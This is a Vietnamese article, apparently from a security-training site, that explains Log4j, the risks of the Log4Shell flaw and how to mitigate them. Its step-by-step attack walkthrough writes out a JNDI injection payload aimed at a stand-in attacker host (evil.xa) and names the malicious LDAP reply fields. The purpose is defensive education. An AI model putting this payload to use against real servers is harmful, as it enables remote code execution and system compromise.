Log4j là gì?

Log4j là một thư viện ghi log mã nguồn mở rất phổ biến cho các ứng dụng Java, được phát triển bởi Apache Software Foundation. Mục đích của Log4j là giúp các nhà phát triển theo dõi và ghi lại hoạt động của các ứng dụng, từ đó giúp phát hiện lỗi và quản lý thông tin hệ thống. Các thông tin log có thể bao gồm thông báo lỗi, trạng thái hoạt động của ứng dụng, và các sự kiện quan trọng. Log4j đã trở thành một phần thiết yếu trong các hệ thống lớn vì tính linh hoạt, hiệu quả và dễ sử dụng.

Rủi ro bảo mật của Log4j

Vào cuối năm 2021, một lỗ hổng bảo mật nghiêm trọng đã được phát hiện trong Log4j, được đặt tên là Log4Shell (định danh CVE-2021-44228). Lỗ hổng này đã gây ra nhiều lo ngại lớn trong cộng đồng công nghệ và bảo mật do những tác động nghiêm trọng của nó, đặc biệt đối với các hệ thống sử dụng Java. Dưới đây là một số rủi ro chính của lỗ hổng này:

  1. Thực thi mã từ xa (Remote Code Execution – RCE)
  • Lỗ hổng Log4Shell cho phép kẻ tấn công có thể chèn một chuỗi JNDI (Java Naming and Directory Interface) vào một yêu cầu HTTP hoặc các trường dữ liệu đầu vào khác mà ứng dụng sử dụng Log4j sẽ ghi lại.
  • Khi Log4j ghi log chuỗi này, nó sẽ tự động kích hoạt tra cứu JNDI tới một địa chỉ máy chủ do kẻ tấn công chỉ định. Điều này có thể dẫn đến việc tải và thực thi mã từ xa, nghĩa là kẻ tấn công có thể điều khiển máy chủ từ xa và thực hiện các thao tác nguy hiểm.
  1. Mở cửa cho các phần mềm độc hại
  • Khả năng thực thi mã từ xa có thể mở đường cho kẻ tấn công cài đặt phần mềm độc hại như mã độc tống tiền (ransomware), trojan, hoặc các mã độc khác trên hệ thống của nạn nhân.
  • Một khi mã độc đã xâm nhập vào hệ thống, nó có thể gây ra các tác hại như mã hóa dữ liệu, xâm nhập vào dữ liệu nhạy cảm, hoặc mở rộng tấn công tới các hệ thống khác.
  1. Tiếp cận dữ liệu nhạy cảm
  • Khi khai thác lỗ hổng Log4Shell, kẻ tấn công có thể truy cập vào dữ liệu nhạy cảm của hệ thống, bao gồm thông tin người dùng, dữ liệu tài chính, hoặc dữ liệu nội bộ quan trọng của tổ chức.
  • Điều này không chỉ gây ảnh hưởng đến an ninh dữ liệu mà còn ảnh hưởng đến uy tín và tài chính của tổ chức.
  1. Tấn công leo thang đặc quyền
  • Kẻ tấn công có thể lợi dụng quyền truy cập ban đầu từ lỗ hổng Log4j để leo thang đặc quyền, chiếm được quyền kiểm soát cao hơn trên hệ thống.
  • Điều này cho phép chúng thao tác sâu hơn vào các tài nguyên hệ thống và tấn công vào các thành phần quan trọng, thậm chí có thể làm tê liệt toàn bộ hệ thống.
  1. Mở rộng phạm vi tấn công trong hệ thống
  • Trong môi trường doanh nghiệp, nhiều hệ thống và ứng dụng thường có liên kết chặt chẽ với nhau. Một khi một hệ thống bị tấn công thông qua Log4j, kẻ tấn công có thể dễ dàng mở rộng phạm vi tấn công sang các hệ thống khác trong mạng lưới.
  • Điều này có thể gây ra tổn thất nghiêm trọng cho toàn bộ cơ sở hạ tầng của doanh nghiệp.

Phòng ngừa và giảm thiểu rủi ro

Do tính nghiêm trọng của lỗ hổng Log4j, các biện pháp phòng ngừa và giảm thiểu rủi ro sau đây là rất quan trọng:

  1. Cập nhật và vá lỗi:
  • Sử dụng phiên bản Log4j đã được vá lỗi để loại bỏ lỗ hổng. Phiên bản cập nhật của Log4j loại bỏ hoặc kiểm soát tính năng tra cứu JNDI để ngăn chặn thực thi mã từ xa.
  1. Vô hiệu hóa tính năng tra cứu JNDI:
  • Nếu việc cập nhật phiên bản không khả thi, cấu hình lại Log4j để vô hiệu hóa các tra cứu JNDI. Điều này sẽ ngăn chặn log4j tự động kích hoạt các tra cứu độc hại.
  1. Sử dụng WAF (Web Application Firewall):
  • Triển khai WAF để lọc và chặn các yêu cầu đáng ngờ chứa payload JNDI. Đây là một lớp bảo vệ bổ sung ngăn chặn các yêu cầu độc hại tới hệ thống.
  1. Giám sát và kiểm tra log:
  • Theo dõi các hoạt động log bất thường để phát hiện sớm các cuộc tấn công. Việc kiểm tra và phát hiện sớm giúp giảm thiểu tác hại của các cuộc tấn công tiềm năng.
  1. Vô hiệu hóa các remote codebases:
  • Ngăn chặn Java tải các lớp từ các nguồn từ xa, nhằm giảm thiểu khả năng thực thi mã độc từ xa.

Lỗ hổng Log4j là một minh chứng rõ ràng về những nguy cơ bảo mật của các thư viện mã nguồn mở được sử dụng rộng rãi trong các hệ thống. Việc áp dụng các biện pháp bảo mật và cập nhật hệ thống là cực kỳ quan trọng để bảo vệ khỏi các lỗ hổng như Log4Shell.

Hình trên cung cấp một phân tích chi tiết về tấn công log4j JNDI và các biện pháp phòng ngừa. Sau đây là mô tả chi tiết từng bước:

Tổng quan

  • Cuộc tấn công Log4J khai thác một lỗ hổng trong log4j, một thư viện ghi log phổ biến của Java. Kẻ tấn công chèn một chuỗi tra cứu JNDI (Java Naming and Directory Interface) vào log của máy chủ, và log4j xử lý chuỗi này mà không qua kiểm tra. Lỗ hổng này cho phép thực thi mã tùy ý, có thể dẫn đến việc máy chủ bị xâm nhập.

Các bước tấn công

  1. Chèn Payload độc hại:
  • Kẻ tấn công gửi một yêu cầu HTTP tới máy chủ có lỗ hổng, chèn payload JNDI (${jndi:ldap://evil.xa/x}) vào trường header (ví dụ: User-Agent). Payload này có khả năng sẽ được ghi vào log bởi log4j.
  • Phòng ngừa: Sử dụng Web Application Firewall (WAF) để chặn những yêu cầu như vậy.
  1. Ghi log Payload:
  • Máy chủ xử lý yêu cầu và log4j ghi lại chuỗi JNDI mà không kiểm tra.
  • Phòng ngừa: Cập nhật log4j hoặc vô hiệu hóa log4j nếu không cần thiết.
  1. Kích hoạt tra cứu JNDI:
  • log4j hiểu và xử lý chuỗi JNDI, sau đó gửi một yêu cầu tới máy chủ LDAP độc hại (ldap://evil.xa).
  • Phòng ngừa: Vô hiệu hóa tra cứu JNDI trong cấu hình của log4j.
  1. Phản hồi từ máy chủ LDAP độc hại:
  • Máy chủ LDAP độc hại phản hồi với thông tin thư mục, cung cấp đường dẫn tới một lớp Java có mã độc.
  • Phản hồi này bao gồm các trường như javaClassName, javaCodebase, và javaSerializedData, chỉ tới mã độc được lưu trữ trên máy chủ từ xa (http://evil.xa).
  1. Thực thi mã độc trên máy chủ:
  • Máy chủ có lỗ hổng sẽ giải mã (hoặc tải xuống) và thực thi mã Java độc hại.
  • Phòng ngừa: Vô hiệu hóa remote codebases để ngăn Java tải các lớp từ các máy chủ từ xa.

Tóm tắt các kỹ thuật phòng ngừa

  • Chặn bằng WAF: Lọc các yêu cầu đáng ngờ chứa chuỗi JNDI.
  • Cập nhật log4j: Nâng cấp lên phiên bản đã khắc phục lỗ hổng này.
  • Vô hiệu hóa log4j hoặc tra cứu JNDI: Nếu có thể, vô hiệu hóa các tính năng này để giảm thiểu rủi ro.
  • Vô hiệu hóa remote codebases: Ngăn Java thực thi mã từ các máy chủ từ xa.

Kết luận

Cuộc tấn công này cho thấy cách tra cứu JNDI của log4j có thể dẫn đến sự cố bảo mật nghiêm trọng nếu không được kiểm soát. Các bước phòng ngừa được đề xuất giúp giảm thiểu rủi ro bằng cách chặn payload độc hại, bảo mật cấu hình log, và ngăn ngừa thực thi mã từ xa.

Khóa học kiểm thử bảo mật (CompTIA Pentest+) hay Hacker Mũ Trắng CEH v13 có lab thực hành về Log4J chi tiết , trực tuyến.

Bình luận về bài viết này

Thịnh hành